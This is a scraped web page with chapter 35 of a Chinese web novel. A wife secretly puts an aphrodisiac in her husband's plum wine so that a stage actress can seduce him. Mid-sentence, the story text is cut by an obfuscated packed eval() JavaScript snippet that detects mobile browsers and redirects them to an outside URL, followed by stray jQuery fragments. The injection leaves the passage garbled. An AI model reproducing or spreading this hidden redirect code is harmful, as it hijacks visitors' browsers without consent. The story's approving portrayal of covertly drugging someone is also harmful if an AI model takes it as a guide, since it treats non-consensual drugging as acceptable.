默认冷灰
24号文字
方正启体

35. 下药

作者:呵呵和端午本书字数:K更新时间:
    “这是何物?”


    “杨梅。”


    “杨梅?”


    “嗯,快来尝尝。”


    凌义将杨梅放到桌上,吩咐下人去洗,“当季的杨梅会很甜。”


    “的确,酿酒最为好喝。”管家应和道,“杨梅酒,甜辣爽烈,当是美味。”


    姜正问道,“管家,你喝过?”


    “嗯。”管家想了想,“不过是很久之前了。”


    “那管家你会用杨梅酿酒吗?”姜正舔舔嘴唇,起了心思,“杨梅酒定是好喝,我也想尝尝。”


    “可以试试。”


    “先尝颗先。”下人将杨梅端上桌,凌义拿起一颗放到姜正唇边。


    姜正顺势吃进去,杨梅甜酸的汁水在嘴里爆开,“好吃,甜。”


    那日芳香求她过后,她纠结了许久才答应下来,无论男女,这事都算得上龌龊,就算是想要离开,她也未想过直接到这一步,最多也只是想让凌义对对方产生喜欢情谊。


    “夫人,我愿意的。”


    “我知晓。”姜正别过头,“我是怕凌义不愿。”


    “我如此貌美,凌公不亏的。”


    “我知道,只是…此事怕是…唉,你再同我考虑些日子。”


    却未想到芳香直接给她跪下,“夫人,我只剩下两天时间,戏班就要离开军营,到时我便不得住在此了,更是没办法再做旁的,如今时间过短,除了此法,我再想不得什么。”


    “你…”姜正犹豫不决,瞧着芳香,一咬牙一跺脚,还是应了下来。


    就如芳香所讲,凌义不亏,待凌义上钩,一心扑到芳香身上,后续离开她自会想办法。


    “酿酒需要多长时间啊?”


    凌义思道,“杨梅酒少说也要两月了。”


    “两个月?”姜正惊讶,“两个月夏日都要过去了,现在街上定是有卖的,凌义,你去给我买。”


    “现在吩咐人愈发的顺手了?”凌义抬手摸了把她脑袋,“明日中午给你带回来。”


    “凌义,你真好。”姜正踮脚蹭他手心,心中有了事,待凌义的态度都好了许多。


    回到屋内,心中烦闷,芳香给她送来药粉,“无色无味,但药效很好。”


    “可对身体有害?”


    “自然不会。”芳香道,“夫人放心好了,芳香心中有数。”


    姜正捏紧药粉,点了点头。


    凌义,你莫怪我,芳香会待你好的,也定会比我更适合你。


    第二日中午,凌义果然如答应般带了两瓶杨梅酒回来,姜正迎上去,做出欣喜姿态,“凌义,你果真不会骗我。”


    “无事骗你做甚,不过两瓶酒,算不得难事。”凌义笑着走在她身侧,试探问道,“你要同谁一起喝?”


    “不知。”姜正摇摇头,佯装烦恼,“汀兰自上次喝了我给的酒,心中有了阴影,就再也不碰酒了,管家年纪深,怕是喝不了多少,芳香下午排戏,更是不能喝,念起来,也只能我自己品尝了。”


    凌义撞了下她肩膀,“你怕不是忘了一旁这个大活人。”


    “你?”姜正睨他眼,“你下午难道无需去军营?”


    “可以晚些去,喝些果酒罢,不会醉。”凌义轻笑,“如何,需不需要我陪你?”


    “我可以自己一人。”姜正一手提酒,一手提起裙摆,向前跑去,转头朝他做个鬼脸,“谁需要你陪啊!”


    凌义控制不住喜意,快步追上她,“我偏要陪。”


    “哎呀…你踩到我裙子了!”


    “再赔你一件更漂亮的!”


    “才不要,你个混球!”


    “那你是混球夫人…哈哈…”


    少年夫妇拌嘴的欢快笑声回荡整个院中,刺激着此刻正坐在屋内的芳香。


    一定要成功,一定要成功啊…


    准备了两道下酒菜,一道猪耳朵,一道炖牛肉,一旁还放了盘杨梅。


    “怎么打不开,你等我拿个剪子。”姜正抱着酒,“管家,可有剪子,酒打不开。”


    “于庖厨内,小的现在去拿。”


    “我去,你忙吧。”姜正回头看向凌义,“万不可偷吃,我一会就回来。”


    凌义放了颗杨梅进嘴,含笑瞧她,“知道了,定不会偷吃的。”


    抱着酒进了庖厨,姜正惴惴不安的心才有了稍许缓解,取了瓷杯先给自己倒了杯,然后再将药粉倒入里面,按照芳香所说,倒一半即可起效,她迟疑了下,还是全部倒了进去,凌义身体好,她怕药物不足以控制住他,“对不住了,凌义,日后,日后芳香会待你好的。”


    一手提着酒壶,一手举着瓷杯,姜正边往回走边小口小口的喝,“好辣好辣,没有原先的味道甜。”


    “竟自己偷喝。”凌义瞧着她回来,调笑她道。


    “这是率先品尝。”姜正拿过他面前的杯子,给他倒满,“你尝尝,是不是不甜了,反而更酸。”


    凌义握起杯子,垂眸盯住她,似乎是想在她脸上寻找破绽,杯沿挨到唇边,又放了下去,明显看到姜正眼中的失望,“要不我还是不喝了,怕下午会醉。”


    “?”


    姜正一脚踹上去,“你这人怎这样,说喝又不喝,早知我去寻旁人了。”


    “你想寻谁?”凌义逗她,“府中除了我,可无人能陪你。”


    “府内无人,府外可是大有人在。”姜正晃晃酒杯,同他露出个得意的笑,“我自认为,我长得也是很美,想同我喝酒的人应该比比皆是。”


    凌义气的攥紧拳头,“你不会是想说苏澈吧?”


    “也许吧。”姜正耸耸肩,“苏澈长得也不赖,我们两个还有旧情,一起饮酒应当是不错的享乐。”


    凌义半眯起眼,咬牙道,“你故意气我吗?”


    “谁讲是故意啊,是你拒绝我在先。”姜正抬抬下巴,“苏澈呢,现在见到我,肯定是更喜欢了,不过是喝酒而已,他不会不陪我的。”


    “姜正,你可真是会往我心窝上捅。”凌义拿起酒杯,猛地灌了下去。


    见着酒滑进他嘴中,遍布全身的煎熬感卸下一半,姜正再也笑不出来,见酒杯见底,又给他倒了半杯,举起自己手里的这杯,“要不要碰一下,难得你我一起饮酒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065293|192871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    凌义撑着下巴,探出她眸中的那抹紧张,他摇摇头,未说什么,举着杯子碰上去,一口喝进嘴里。


    罢了,只要姜正高兴就好。


    到最后,他一人喝下半壶多,而姜正还是那一小杯,里面还剩下半口。


    凌义脑袋有些晕乎,“可喝的真慢,是不喜欢吗?”


    “没有,挺喜欢的。”姜正看着他双颊发红,关切问道,“你是不是喝醉了?”


    “我不轻易醉。”凌义扣住她的手,“姜正,你今日在酒里,给我下的是什么药?”


    姜正身子一抖,“胡说什么呢,我怎会给你下药?”


    “你那么紧张,连笑的都如此假,我如何瞧不出来。”凌义拽拽领子,一股难耐涌上□□,他好像意识到了什么。


    “那你为何还要喝?”姜正站起身,神色慌乱,既然知道酒里有药凌义为何还敢喝,就不怕她毒死他,“既然都知道我给你下药了为何还要喝?”


    “当哄你开心了,总不会害死我吧。”


    “才不会。”姜正拽起他的胳膊,“起来,我扶你回屋休息。”


    “那你会跑吗?”凌义借力站起来,半个身子压在她身上,鼻息间满是她的味道,甜腻的,让他想咬。


    眼中蓄满泪水,蒙了层水雾,看不清方向,凌义不受控的往她身上蹭,嗅闻她的脖颈,嘴唇擦过,露出牙齿,却在舌尖碰到皮肉时迅速收回,


    他怎么能产生这种想法呢,姜正还不喜欢他了。


    于是更用力的蹭,“好香,姜正你为什么那么香。”


    “别蹭我。”姜正侧过头,被他蹭的浑身起鸡皮疙瘩,因着心虚,此刻也未在抱怨凌义旁的事。


    很快到了书房前,瞧着紧闭的屋门,姜正未迟疑,一脚踹开。


    再良心不安,也都到了最后一步了,她不可就此放弃,这是她最后的唯一离开的机会了。


    “坐好。”扶着他坐到木凳上,姜正拽开他的手,想要离开。


    “去哪?姜正你要去哪。”凌义无力的抓住她的手腕,眼神期艾,声音悲凉,“你又要离开,将我一个人丢下吗?”


    “我不会离开,就在门外等着你。”姜正拉开他的手,“还有,我给你下的是春药。”


    关上门,屋内陷入一片寂静。


    凌义捂住心脏,跪倒在地上,他知道姜正会给他下药,但却未想到是春药,即使已经猜的八九不离十,但听到确切的答案,凌义还是无法抑制的难过,痛苦,恨不得当场弄死她,


    姜正就这么渴望将他推开吗?


    他就这么令她厌恶吗?


    他宁愿那是毒药,毒的他七窍流血,睁眼而死也不愿意那酒中是春药,脑中的弦越绷越紧,使他头痛欲裂,他想将姜正的心挖出来,看看这颗冰冷的心脏到底长什么模样,竟如此残忍,让人这么苦痛。


    为什么?


    为什么,姜正为何要如此恨他。


    热气阵阵,在身体各处窜,凌义撑着桌子站起,眼睛死死盯着紧闭的门。


    “凌公…”


    一道娇魅声音响起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)